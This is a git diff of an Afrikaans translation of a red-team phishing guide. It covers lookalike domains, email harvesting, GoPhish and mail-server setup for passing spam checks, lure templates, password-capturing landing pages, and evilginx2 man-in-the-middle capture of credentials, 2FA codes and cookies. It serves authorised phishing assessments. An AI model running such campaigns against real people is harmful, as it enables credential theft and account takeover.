- **Replacement**: Soortgelyk aan homoglyph, maar minder sluipend. Dit vervang een van die letters in die domeinnaam, dalk met 'n letter wat naby die oorspronklike op die sleutelbord is (e.g., zektser.com). - **Replacement**: Soortgelyk aan homoglyph maar minder stil. Dit vervang een van die letters in die domeinnaam, moontlik met 'n letter naby die oorspronklike op die sleutelbord (e.g, zektser.com).
- **Subdomained**: Voeg 'n **punt** binne die domeinnaam in (e.g., ze.lster.com). - **Subdomained**: Stel 'n **punt** binne die domeinnaam in (e.g., ze.lster.com).
- **Insertion**: Dit **voeg 'n letter in** die domeinnaam in (e.g., zerltser.com). - **Insertion**: Dit **voeg 'n letter in** die domeinnaam (e.g., zerltser.com).
- **Missing dot**: Hang die TLD aan die einde van die domeinnaam sonder die punt (e.g., zelstercom.com) - **Missing dot**: Voeg die TLD by die domeinnaam sonder 'n punt. (e.g., zelstercom.com)
**Automatic Tools** **Automatic Tools**
@ -52,25 +52,25 @@ homograph-attacks.md
### Bitflipping ### Bitflipping
Daar is 'n **moontlikheid dat een of meer bits wat gestoor is of in kommunikasie is outomaties omgeskakel kan word** as gevolg van verskeie faktore soos sonvlamme, kosmiese strale, of hardeware-foute. Daar is 'n **moontlikheid dat een of meer bits wat gestoor is of in kommunikasie is, outomaties omgeskakel kan word** as gevolg van verskeie faktore soos sonvlamme, kosmiese strale, of hardeware-foute.
Wanneer hierdie konsep op **DNS-versoeke toegepas** word, is dit moontlik dat die **domein wat deur die DNS-bediener ontvang word** nie dieselfde is as die domein wat aanvanklik gevra is nie. Wanneer hierdie konsep op **DNS requests** **toegepas** word, is dit moontlik dat die **domein wat die DNS-server ontvang** nie dieselfde is as die domein aanvanklik versoek nie.
Byvoorbeeld, 'n enkele bit-wysiging in die domein "windows.com" kan dit verander na "windnws.com." Byvoorbeeld, 'n enkele bitwysiging in die domein "windows.com" kan dit verander na "windnws.com."
Aanvallers kan **hierdie voordeel benut deur meerdere bit-flipping-domeine te registreer** wat soortgelyk is aan die slagoffer se domein. Hul bedoeling is om regmatige gebruikers na hul eie infrastruktuur om te lei. Aanhangers mag **hierby voordeel trek deur verskeie bit-flipping domeine te registreer** wat soortgelyk is aan die slagoffer se domein. Hul bedoeling is om geldige gebruikers na hul eie infrastruktuur om te lei.
For more information read [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) Vir meer inligting lees [https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
### Koop 'n vertroude domein ### Koop 'n vertroude domein
Jy kan in [https://www.expireddomains.net/](https://www.expireddomains.net) soek vir 'n verloopte domein wat jy kan gebruik.\ Jy kan soek op [https://www.expireddomains.net/](https://www.expireddomains.net) vir 'n vervalde domein wat jy kan gebruik.\
Om seker te maak dat die verloopte domein wat jy gaan koop **reeds 'n goeie SEO het**, kan jy kyk hoe dit gekategoriseer is in: Om seker te maak dat die vervalde domein wat jy gaan koop **reeds 'n goeie SEO het**, kan jy kyk hoe dit gekategoriseer word in:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) - [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) - [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## Ontdek e-posadresse ## Ontdekking van E-posadresse
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free) - [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester) (100% free)
- [https://phonebook.cz/](https://phonebook.cz) (100% free) - [https://phonebook.cz/](https://phonebook.cz) (100% free)
@ -78,17 +78,17 @@ Om seker te maak dat die verloopte domein wat jy gaan koop **reeds 'n goeie SEO
- [https://hunter.io/](https://hunter.io) - [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com) - [https://anymailfinder.com/](https://anymailfinder.com)
Om meer geldige e-posadresse te **ontdek** of die wat jy reeds gevind het te **verifieer**, kan jy kyk of jy hul SMTP-bedieners van die slagoffer kan brute-force. [Leer hoe om e-posadresse te verifieer/ontdek hier](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\ Om meer geldige e-posadresse te **ontdek** of die wat jy reeds gevind het te **verifieer**, kan jy kyk of jy die smtp-bedieners van die slagoffer kan brute-force. [Learn how to verify/discover email address here](../../network-services-pentesting/pentesting-smtp/index.html#username-bruteforce-enumeration).\
Bovendien, moenie vergeet dat as gebruikers **enige webportaal gebruik om toegang tot hul e-posse te kry**, jy kan kontroleer of dit vatbaar is vir **username brute force**, en die kwesbaarheid misbruik indien moontlik. Verder, moenie vergeet dat as gebruikers **'n webportaal gebruik om hul e-posse te bereik** nie, jy kan kyk of dit kwesbaar is vir **username brute force**, en die kwesbaarheid benut indien moontlik.
## Konfigurasie van GoPhish ## Konfigureer GoPhish
### Installasie ### Installering
Jy kan dit aflaai vanaf [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) You can download it from [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)
Laai dit af en pak dit uit binne `/opt/gophish` en voer `/opt/gophish/gophish` uit\ Laai dit af en pak dit uit in `/opt/gophish` en voer `/opt/gophish/gophish` uit.\
Jy sal 'n wagwoord vir die admin-gebruiker in die uitset op poort 3333 kry. Daarom, kry toegang tot daardie poort en gebruik daardie geloofsbriewe om die admin-wagwoord te verander. Jy mag daardie poort na lokaal moet tunnel: Jy sal 'n wagwoord vir die admin-gebruiker vir poort 3333 in die uitset kry. Daarom, verkry toegang tot daardie poort en gebruik daardie geloofsbriewe om die admin-wagwoord te verander. Jy mag daardie poort na lokaal moet tunnel:
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -96,7 +96,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS-sertifikaatkonfigurasie** **TLS-sertifikaatkonfigurasie**
Voor hierdie stap moet jy **reeds die domein gekoop het** wat jy gaan gebruik, en dit moet **wys na** die **IP van die VPS** waar jy **gophish** konfigureer. Voordat jy hierdie stap uitvoer moet jy **reeds die domein gekoop het** wat jy gaan gebruik, en dit moet **wys** na die **IP of the VPS** waar jy **gophish** konfigureer.
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -122,23 +122,23 @@ Voeg dan die domein by die volgende lêers:
- **/etc/postfix/transport** - **/etc/postfix/transport**
- **/etc/postfix/virtual_regexp** - **/etc/postfix/virtual_regexp**
**Verander ook die waardes van die volgende veranderlikes binne /etc/postfix/main.cf** **Verander ook die waardes van die volgende veranderlikes in /etc/postfix/main.cf**
`myhostname = <domain>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
Laastens wysig die lêers **`/etc/hostname`** en **`/etc/mailname`** na jou domeinnaam en **herbegin jou VPS.** Laastens, wysig die lêers **`/etc/hostname`** en **`/etc/mailname`** na jou domeinnaam en **herbegin jou VPS.**
Skep nou 'n **DNS A record** vir `mail.<domain>` wat wys na die **IP-adres** van die VPS en 'n **DNS MX** record wat wys na `mail.<domain>` Skep nou 'n **DNS A record** vir `mail.<domain>` wat na die **IP-adres** van die VPS wys en 'n **DNS MX** record wat na `mail.<domain>` wys
Kom ons toets nou om 'n e-pos te stuur: Kom ons toets nou om 'n e-pos te stuur:
```bash ```bash
apt install mailutils apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
``` ```
**Gophish konfigurasie** **Gophish configuration**
Stop die uitvoering van gophish en laat ons dit konfigureer.\ Stop die uitvoering van gophish en kom ons konfigureer dit.\
Wysig `/opt/gophish/config.json` na die volgende (let op die gebruik van https): Wysig `/opt/gophish/config.json` na die volgende (let op die gebruik van https):
```bash ```bash
{ {
@ -164,9 +164,9 @@ Wysig `/opt/gophish/config.json` na die volgende (let op die gebruik van https):
} }
} }
``` ```
**Konfigureer gophish service** **Konfigureer gophish-diens**
Om die gophish service te skep sodat dit outomaties begin kan word en as 'n service bestuur kan word, kan jy die lêer `/etc/init.d/gophish` skep met die volgende inhoud: Om die gophish-diens te skep sodat dit outomaties begin en as 'n diens bestuur kan word, kan jy die lêer `/etc/init.d/gophish` met die volgende inhoud skep:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -213,7 +213,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
Voltooi die konfigurasie van die diens en kontroleer dit deur die volgende te doen: Voltooi die konfigurering van die diens en kontroleer dit deur die volgende te doen:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -224,23 +224,23 @@ service gophish status
ss -l | grep "3333\|443" ss -l | grep "3333\|443"
service gophish stop service gophish stop
``` ```
## Konfigurasie van e-posbediener en domein ## Konfigureer e-posbediener en domein
### Wag & wees geloofwaardig ### Wag en wees geloofwaardig
Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam aangemerk sal word. Wag dus so lank as moontlik (ten minste 1 week) voor die phishing assessment. Boonop, as jy 'n bladsy oor 'n reputasie-verwante sektor plaas, sal die verkrygde reputasie beter wees. Hoe ouer 'n domein is, hoe minder waarskynlik is dit dat dit as spam gevang word. Jy moet dus so lank as moontlik wag (ten minste 1 week) voordat die phishing-assessering. Boonop, as jy 'n bladsy oor 'n reputasiesektor plaas, sal die verkrygde reputasie beter wees.
Let daarop dat selfs al moet jy 'n week wag, jy nou alles kan klaarmaak. Let wel: selfs al moet jy 'n week wag, kan jy nou reeds alles konfigureer.
### Konfigureer Reverse DNS (rDNS) rekord ### Konfigureer Reverse DNS (rDNS) rekord
Stel 'n rDNS (PTR) rekord in wat die IP-adres van die VPS na die domeinnaam oplos. Stel 'n rDNS (PTR)-rekord in wat die IP-adres van die VPS na die domeinnaam oplos.
### Sender Policy Framework (SPF) Rekord ### Sender Policy Framework (SPF) Record
Jy moet **'n SPF-rekord vir die nuwe domein konfigureer**. As jy nie weet wat 'n SPF-rekord is nie [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#spf). Jy moet **'n SPF record vir die nuwe domein konfigureer**. As jy nie weet wat 'n SPF record is nie, [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Jy kan [https://www.spfwizard.net/](https://www.spfwizard.net) gebruik om jou SPF-beleid te genereer (gebruik die IP van die VPS-masjien) Jy kan [https://www.spfwizard.net/](https://www.spfwizard.net) gebruik om jou SPF-beleid te genereer (gebruik die IP van die VPS)
![](<../../images/image (1037).png>) ![](<../../images/image (1037).png>)
@ -248,35 +248,34 @@ Dit is die inhoud wat in 'n TXT-rekord in die domein gestel moet word:
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### Domeingebaseerde boodskapverifikasie, verslaggewing & nakoming (DMARC) Rekord ### Domain-based Message Authentication, Reporting & Conformance (DMARC) Rekord
Jy moet **'n DMARC-rekord vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-rekord is nie [**read this page**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc). Jy moet **'n DMARC-rekord vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-rekord is nie [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dmarc).
Jy moet 'n nuwe DNS TXT-rekord skep wat na die gasheernaam `_dmarc.<domain>` wys met die volgende inhoud: Jy moet 'n nuwe DNS TXT-rekord skep wat na die hostname `_dmarc.<domain>` wys met die volgende inhoud:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-record is nie [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim). Jy moet **'n DKIM vir die nuwe domein konfigureer**. As jy nie weet wat 'n DMARC-rekord is nie, [**lees hierdie bladsy**](../../network-services-pentesting/pentesting-smtp/index.html#dkim).
This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) This tutorial is based on: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
> [!TIP] > [!TIP]
> Jy moet beide B64-waardes wat die DKIM-sleutel genereer aanmekaar koppel: > Jy moet beide B64-waardes wat die DKIM-sleutel genereer, saamkoppel:
> >
> ``` > ```
> v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB > v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
> ``` > ```
### Toets jou e-poskonfigurasie telling ### Toets die telling van jou e-poskonfigurasie
Jy kan dit doen deur [https://www.mail-tester.com/](https://www.mail-tester.com)\ Jy kan dit doen deur [https://www.mail-tester.com/](https://www.mail-tester.com/) te gebruik. Gaan net na die bladsy en stuur 'n e-pos na die adres wat hulle jou gee:
Besigtig net die bladsy en stuur 'n e-pos na die adres wat hulle jou gee:
```bash ```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
``` ```
Jy kan ook **kontroleer jou email-konfigurasie** deur 'n email te stuur na `check-auth@verifier.port25.com` en **die reaksie te lees** (hiervoor sal jy port **25** moet **oopmaak** en die reaksie sien in die lêer _/var/mail/root_ as jy die email as root stuur).\ Jy kan ook **kontroleer jou e-poskonfigurasie** deur 'n e-pos te stuur na `check-auth@verifier.port25.com` en **die reaksie te lees** (hiervoor sal jy **oopmaak** port **25** en die reaksie sien in die lêer _/var/mail/root_ as jy die e-pos as root stuur).\
Kontroleer dat jy al die toetse slaag: Kontroleer dat jy al die toetse slaag:
```bash ```bash
========================================================== ==========================================================
@ -288,39 +287,39 @@ DKIM check: pass
Sender-ID check: pass Sender-ID check: pass
SpamAssassin check: ham SpamAssassin check: ham
``` ```
Jy kan ook 'n **boodskap na 'n Gmail wat jy beheer** stuur en die **e-pos se headers** in jou Gmail-inboks nagaan; `dkim=pass` moet in die `Authentication-Results` header field voorkom. Jy kan ook **'n boodskap na 'n Gmail wat jy beheer** stuur, en kontroleer die **e-pos se headers** in jou Gmail-inbox; `dkim=pass` moet in die `Authentication-Results` header field teenwoordig wees.
``` ```
Authentication-Results: mx.google.com; Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com; spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com; dkim=pass header.i=@example.com;
``` ```
### Verwyder uit Spamhouse Blacklist ### Verwydering vanaf Spamhouse Swartlys
Die bladsy [www.mail-tester.com](https://www.mail-tester.com) kan aandui of jou domein geblokkeer word deur spamhouse. Jy kan versoek dat jou domein/IP verwyder word by: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/) Die blad [www.mail-tester.com](https://www.mail-tester.com) kan aandui of jou domein deur spamhouse geblokkeer word. Jy kan versoek om jou domein/IP verwyder te kry by: [https://www.spamhaus.org/lookup/](https://www.spamhaus.org/lookup/)
### Verwyder uit Microsoft Blacklist ### Verwydering vanaf Microsoft Swartlys
Jy kan versoek dat jou domein/IP verwyder word by [https://sender.office.com/](https://sender.office.com). Jy kan versoek om jou domein/IP verwyder te kry by [https://sender.office.com/](https://sender.office.com).
## Skep & Begin GoPhish Veldtog ## Skep en Lanseer GoPhish-veldtog
### Stuurprofiel ### Stuurprofiel
- Stel 'n **naam** om die afsenderprofiel te identifiseer - Stel 'n **naam om te identifiseer** vir die senderprofiel
- Bepaal vanaf watter rekening jy die phishing-e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._ - Bepaal van watter rekening jy die phishing-e-posse gaan stuur. Voorstelle: _noreply, support, servicedesk, salesforce..._
- Jy kan die gebruikersnaam en wagwoord leeg laat, maar maak seker dat jy die Ignore Certificate Errors merk - Jy kan die gebruikersnaam en wagwoord leeg laat, maar maak seker dat jy die Ignore Certificate Errors aanvink
![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>) ![](<../../images/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (15) (2).png>)
> [!TIP] > [!TIP]
> Dit word aanbeveel om die "**Send Test Email**" funksionaliteit te gebruik om te toets dat alles werk.\ > Dit word aanbeveel om die "**Send Test Email**" funksionaliteit te gebruik om te toets dat alles werk.\
> Ek sou aanbeveel om **send the test emails to 10min mails addresses** om te voorkom dat jy tydens toetse op 'n blacklist beland. > Ek beveel aan om **send the test emails to 10min mails addresses** te gebruik om te voorkom dat jy by toetse op 'n swartlys beland.
### E-pos Sjabloon ### E-pos Sjabloon
- Stel 'n **naam om te identifiseer** die sjabloon - Stel 'n **naam om te identifiseer** vir die sjabloon
- Skryf dan 'n **onderwerp** (niks vreemd, net iets wat jy in 'n gewone e-pos sou verwag om te lees) - Skryf dan 'n **onderwerp** (niks vreemds nie, net iets wat jy in 'n gewone e-pos sou verwag om te lees)
- Maak seker jy het die "**Add Tracking Image**" aangestip - Maak seker dat jy die "**Add Tracking Image**" gevink het
- Skryf die **e-pos sjabloon** (jy kan veranderlikes gebruik soos in die volgende voorbeeld): - Skryf die **e-pos sjabloon** (jy kan veranderlikes gebruik soos in die volgende voorbeeld):
```html ```html
<html> <html>
@ -340,66 +339,66 @@ WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY
</body> </body>
</html> </html>
``` ```
Neem kennis dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbeveel word om 'n handtekening uit 'n e-pos van die kliënt te gebruik. Voorstelle: Neem kennis dat **om die geloofwaardigheid van die e-pos te verhoog**, dit aanbeveel word om 'n handtekening van 'n e-pos van die kliënt te gebruik. Voorstelle:
- Stuur 'n e-pos na 'n **nie-bestaande adres** en kyk of die reaksie enige handtekening bevat. - Stuur 'n e-pos na 'n **nie-bestaande adres** en kyk of die reaksie enige handtekening bevat.
- Soek na **publieke e-posadresse** soos info@ex.com of press@ex.com of public@ex.com en stuur hulle 'n e-pos en wag vir die reaksie. - Soek na **openbare e-posadresse** soos info@ex.com of press@ex.com of public@ex.com en stuur vir hulle 'n e-pos en wag vir die reaksie.
- Probeer kontak maak met **'n geldige ontdekte** e-pos en wag vir die reaksie - Probeer om **'n geldige ontdekte** e-pos te kontak en wag vir die reaksie
![](<../../images/image (80).png>) ![](<../../images/image (80).png>)
> [!TIP] > [!TIP]
> Die E-possjabloon laat jou ook toe om **lêers aan te heg om te stuur**. As jy ook NTLM-challenges wil steel deur sommige spesiaalgemaakte lêers/dokumente te gebruik [lees hierdie bladsy](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). > Die E-pos Sjabloon laat jou ook toe om **lêers aan te heg om te stuur**. As jy ook NTLM-uitdagings wil steel deur sommige spesiaal gekapte lêers/dokumente te gebruik [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
### Landing Page ### Landingsbladsy
- Stel 'n **naam** in - Skryf 'n **naam**
- **Skryf die HTML-kode** van die webblad. Let daarop dat jy webbladsye kan **importeer**. - **Skryf die HTML-kode** van die webblad. Let wel dat jy webblaaie kan **importeer**.
- Merk **Capture Submitted Data** en **Capture Passwords** - Merk **Capture Submitted Data** en **Capture Passwords**
- Stel 'n **omleiding** in - Stel 'n **omleiding**
![](<../../images/image (826).png>) ![](<../../images/image (826).png>)
> [!TIP] > [!TIP]
> Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en toetse plaaslik doen (miskien met 'n Apache-server) **tot jy tevrede is met die resultate.** Skryf dan daardie HTML-kode in die boks.\ > Gewoonlik sal jy die HTML-kode van die bladsy moet wysig en plaaslike toetse doen (miskien met 'n Apache-bediener) **tot jy tevrede is met die uitslag.** Daarna, skryf daardie HTML-kode in die blokkie.\
> Let daarop dat as jy sommige **statiese hulpbronne** vir die HTML moet gebruik (miskien sommige CSS- en JS-bladsye) jy dit kan stoor in _**/opt/gophish/static/endpoint**_ en dan toegang kry vanaf _**/static/\<filename>**_ > Let wel dat as jy sommige **statiese hulpbronne** vir die HTML nodig het (miskien sommige CSS en JS bladsye) kan jy dit stoor in _**/opt/gophish/static/endpoint**_ en dan toegang verkry vanaf _**/static/\<filename>**_
> [!TIP] > [!TIP]
> Vir die omleiding kan jy **gebruikers na die regte hoofblad** van die slagoffer omlei, of hulle na _/static/migration.html_ omlei byvoorbeeld, plaas 'n **spinning wheel (**[**https://loading.io/**](https://loading.io)**) vir 5 sekondes en dui dan aan dat die proses suksesvol was**. > Vir die omleiding kan jy die gebruikers na die regte hoofblad van die slagoffer omlei, of omlei na _/static/migration.html_ byvoorbeeld, sit 'n **spinning wheel (**[**https://loading.io/**](https://loading.io)**) vir 5 sekondes en dui dan aan dat die proses suksesvol was**.
### Users & Groups ### Gebruikers & Groepe
- Stel 'n naam in - Stel 'n naam in
- **Importeer die data** (let wel dat om die sjabloon vir die voorbeeld te gebruik jy die voornaam, van en e-posadres van elke gebruiker nodig het) - **Importeer die data** (let wel dat om die sjabloon vir die voorbeeld te gebruik jy die voornaam, van en e-posadres van elke gebruiker nodig het)
![](<../../images/image (163).png>) ![](<../../images/image (163).png>)
### Campaign ### Velddtog
Uiteindelik, skep 'n veldtog deur 'n naam, die e-possjabloon, die landing page, die URL, die sending profile en die groep te kies. Let daarop dat die URL die skakel sal wees wat na die slagoffers gestuur word Laastens, skep 'n veldtog deur 'n naam te kies, die e-pos sjabloon, die landingsblad, die URL, die stuurprofiel en die groep. Let wel dat die URL die skakel sal wees wat na die slagoffers gestuur word
Let daarop dat die **Sending Profile toelaat om 'n toets-e-pos te stuur om te sien hoe die finale phishing e-pos sal lyk**: Let wel dat die **Stuurprofiel toelaat om 'n toets-e-pos te stuur om te sien hoe die finale phishing-e-pos sal lyk**:
![](<../../images/image (192).png>) ![](<../../images/image (192).png>)
> [!TIP] > [!TIP]
> Ek beveel aan om die **toets-e-posse na 10min mails adresse** te stuur om te voorkom dat jy vir toetse op 'n swartlys beland. > Ek sou aanbeveel om die toets-e-posse aan 10min mail-adresse te stuur om te vermy dat jy tydens toetse op 'n swartlys beland.
Sodra alles gereed is, lanseer net die veldtog! Sodra alles gereed is, begin net die veldtog!
## Website Cloning ## Webwerf-kloning
As jy om een of ander rede die webwerf wil kloon kyk na die volgende bladsy: As jy om enige rede die webwerf wil kloon, sien die volgende bladsy:
{{#ref}} {{#ref}}
clone-a-website.md clone-a-website.md
{{#endref}} {{#endref}}
## Backdoored Documents & Files ## Dokumente & Lêers met Agterdeur
In sommige phishing-assesserings (hoofsaaklik vir Red Teams) wil jy ook **lêers stuur wat 'n soort backdoor bevat** (miskien 'n C2 of net iets wat 'n verifikasie sal aktiveer).\ In sommige phishing-assesserings (hoofsaaklik vir Red Teams) wil jy ook **lêers stuur wat 'n tipe agterdeur bevat** (miskien 'n C2 of iets wat 'n outentisering sal veroorsaak).\
Kyk na die volgende bladsy vir sommige voorbeelde: Kyk na die volgende bladsy vir voorbeelde:
{{#ref}} {{#ref}}
@ -410,53 +409,53 @@ phishing-documents.md
### Via Proxy MitM ### Via Proxy MitM
Die vorige aanval is baie slim aangesien jy 'n werklike webwerf naboots en die inligting wat deur die gebruiker ingevul is versamel. Ongelukkig, as die gebruiker nie die korrekte wagwoord ingee nie of as die toepassing wat jy nageboots het met 2FA gekonfigureer is, sal **daardie inligting jou nie toelaat om die mislei gebruiker te imiteer nie**. Die vorige aanval is nogal slim omdat jy 'n werklike webwerf naboots en die inligting wat deur die gebruiker ingevoer is versamel. Ongelukkig, as die gebruiker nie die korrekte wagwoord ingevul het nie of as die toepassing wat jy nageboots het met 2FA gekonfigureer is, sal **hierdie inligting jou nie toelaat om die gefopte gebruiker te imiteer nie**.
Dit is waar gereedskap soos [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) en [**muraena**](https://github.com/muraenateam/muraena) nuttig is. Hierdie instrumente laat jou toe om 'n MitM-agtige aanval te genereer. Basies werk die aanval op die volgende wyse: Dit is waar gereedskap soos [**evilginx2**](https://github.com/kgretzky/evilginx2)**,** [**CredSniper**](https://github.com/ustayready/CredSniper) en [**muraena**](https://github.com/muraenateam/muraena) nuttig is. Hierdie gereedskap stel jou in staat om 'n MitM-agtige aanval te genereer. Basies werk die aanval soos volg:
1. Jy **maskeer die login-formulier** van die werklike webblad. 1. Jy **doen voor as die aanmeldvorm** van die werklike webblad.
2. Die gebruiker **stuur** sy **credentials** na jou vervalste bladsy en die instrument stuur dit na die werklike webblad, **kontroleer of die credentials werk**. 2. Die gebruiker **stuur** sy **credentials** na jou valse bladsy en die gereedskap stuur dit na die werklike webblad, en **kontroleer of die credentials werk**.
3. As die rekening met **2FA** gekonfigureer is, sal die MitM-bladsy daarvoor vra en sodra die **gebruiker dit invoer** sal die instrument dit na die werklike webblad stuur. 3. As die rekening met **2FA** gekonfigureer is, sal die MitM-bladsy daarvoor vra en sodra die **gebruiker dit ingevoer het** sal die gereedskap dit na die werklike webblad stuur.
4. Sodra die gebruiker geauthentiseer is, sal jy (as aanvaller) **die gekapte credentials, die 2FA, die cookie en enige inligting** van elke interaksie hê terwyl die instrument die MitM uitvoer. 4. Sodra die gebruiker geverifieer is, sal jy (as aanvaller) **die credentials, die 2FA, die cookie en enige inligting** van elke interaksie vasgelê hê terwyl die gereedskap 'n MitM uitvoer.
### Via VNC ### Via VNC
Wat as jy in plaas daarvan om **die slagoffer na 'n kwaadwillige bladsy te stuur** met dieselfde voorkoms as die oorspronklike, hom na 'n **VNC-sessie met 'n blaaier wat aan die werklike webblad gekoppel is** stuur? Jy sal kan sien wat hy doen, die wagwoord steel, die MFA gebruik, die cookies...\ Wat as jy, in plaas daarvan om die slagoffer na 'n **skadelike bladsy** met dieselfde voorkoms as die oorspronklike te stuur, hom na 'n **VNC-sessie met 'n blaaier verbind aan die werklike webblad** stuur? Jy sal kan sien wat hy doen, die wagwoord steel, die gebruikte MFA, die cookies...\
Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC) Jy kan dit doen met [**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)
## Detecting the detection ## Bepaal of jy ontdek is
Een van die beste maniere om te weet of jy ontmasker is, is om **jou domein in swartlyste te soek**. As dit gelys is, is jou domein op een of ander manier as verdag aangeteken.\ Een van die beste maniere om te weet of jy gevang is, is natuurlik om jou domein in swartlyste te **soek**. As dit op 'n lys verskyn, is jou domein op een of ander wyse as verdag bespeur.\
'n Maklike manier om te kontroleer of jou domein in enige swartlys verskyn is om [https://malwareworld.com/](https://malwareworld.com) te gebruik 'n Maklike manier om na te gaan of jou domein in enige swartlys verskyn is om [https://malwareworld.com/](https://malwareworld.com/) te gebruik.
